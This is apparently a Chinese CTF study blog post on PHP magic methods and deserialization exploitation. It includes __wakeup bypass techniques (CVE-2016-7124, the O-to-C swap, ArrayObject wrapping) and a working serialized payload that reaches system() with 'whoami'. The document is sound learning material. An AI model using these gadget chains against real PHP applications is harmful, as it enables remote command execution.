php魔术方法

关于php的反序列化

题里主要就是各种利用魔术方法进行跳转,从而实现恶意代码。

要利用这些魔术方法,就不得不了解一下有什么和如何利用

魔术方法

__construct()

构造函数,只有在new一个对象的时候会触发,这时候会执行__construct()下的语句

需要注意的是,在序列化和反序列化中都不会触发该方法

__destruct()

析构函数会在对象被销毁的时候被调用,典型的就是die和unset函数,寒假考核的时候就用到了这个点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class web
{
public function __wakeup()
{
die("不许反序列化哦");
}
}
class pwn
{
public function __destruct()
{
echo $this->r1 . ' --0xfa';
}
}

当整个过程被die销毁之后,自然会触发pwn的__destruct函数,前提是序列化的时候包含了pwn

同时,反序列化结束回收的时候也会调用

__call()

当调用一个不存在的方法时会触发

1
2
3
4
5
6
7
8
9
10
11
<?php
class A
{
public function __call($name,$arguments)
{
echo $name.'--'.$arguments[0];
}
}
$a = new A();
$a -> fun('test');
?>

调用了一个不存在的方法fun(),向fun()中传入了参数test,所以会把这个不存在的函数名存入__call里的$name变量,参数test存入$arguments中。这个$arguments是数组变量。

得到结果

image-20230408152719876

__get

当调用一个不存在的变量时会触发

1
2
3
4
5
6
7
8
9
10
11
<?php
class A
{
public function __get($name)
{
echo $name;
}
}
$a = new A();
$a -> test;
?>

同样的,当调用这个不存在的变量test时,会自动执行__get命令,并把变量名传入$name中

__set

给不存在的变量赋值的时候会自动触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A
{
public function __get($nam)
{
echo 'get:'.$name;
}
public function __set($name,$value)
{
echo 'set:'.$name.$value;
}
}
$a = new A();
$a -> test = 'test';
?>

这时候就只会调用__set方法,而__get方法不调用了

__isset

对不可访问的属性调用isset()或者empty()的时候触发

不可访问的属性包括:私有属性,不存在的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A
{
protected $pro;
private $pri;
public function __isset($name)
{
echo $name;
}
}
$data=unserialize($_POST['data']);
isset($data->pro);
empty($data->pri);
?>

在hackbar中传入

1
data=O:1:"A":2:{s:6:"%00*%00pro";N;s:6:"%00A%00pri";N;}

则会echo出pro和pri

image-20230408160715995

__unset

同理,当用unset销毁不可访问的成员属性的时候就会触发该变量

__sleep

在把对象serialize()的时候触发

__wakeup

在进行反序列化的时候,会先检查是否存在__wakeup方法,如果存在则调用,再进行反序列化

一般来说,在做题的时候,wakeup一般都是入点,即

1
unserialize()->A::__wakeup()

此外,还需要学会绕过wakeup

CVE-2016-7124

最常见的一个绕过方法,即修改对象个数值

正常的值如下:

1
O:1:"A":1:{s:1:"a";N;}

如果A中存在wakeup要绕过,仅需把”A”:1改为”A”:2即可绕过

C绕过

把反序列化后的开头O换成C也可绕过wakeup,不过这样只能执行construct()函数或者destruct()函数,无法添加任何内容

但在ctfshow愚人杯还有种新方法可以绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo 'pass';
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo 'pass';
system($this->ctfshow);
}

}
$a=new ctfshow();
echo serialize($a);
#O:7:"ctfshow":0:{}

当把O改C传C:7:”ctfshow”:0:{}进去可显示pass,但是也就只能这么传入了,改了东西就没反应

可以用ArrayObject对正常的反序列化内容包装一次,让最后输出的payload以C开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}

这就成功执行了

以上内容照抄狗学长博客:PHP反序列化中wakeup()绕过总结 – fushulingのblog

img

__toString

当这个对象被当做字符串处理的时候,就会触发

常见的当做字符串处理有:

echo()输出,.拼接,preg_match()比较,substr()截取,strcmp()比较,file_exists()判断等

__invoke

当对象被当成函数调用时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A
{
public $a;
public function __invoke()
{
echo 'invoke';
}
public function invoke()
{
($this->a)();
}
}
$a = new A();
$b = new A();
$a -> a = $b;
$a -> invoke();
?>

此时,A类中的$a是一个A类,而在involve()函数中把$a当函数执行,即把A类当成一个函数调用,自然就进入了__invoke()中

__clone()

当clone一个类时调用

1
2
3
4
5
6
7
8
9
10
11
12
class w_wuw_w
{
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
class EeE
{
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

当进入w_wuw_w类中的__invoke()时,会clone一个EeE,此时则会进入EeE中的__clone()

  • Copyrights © 2022-2024 b1xcy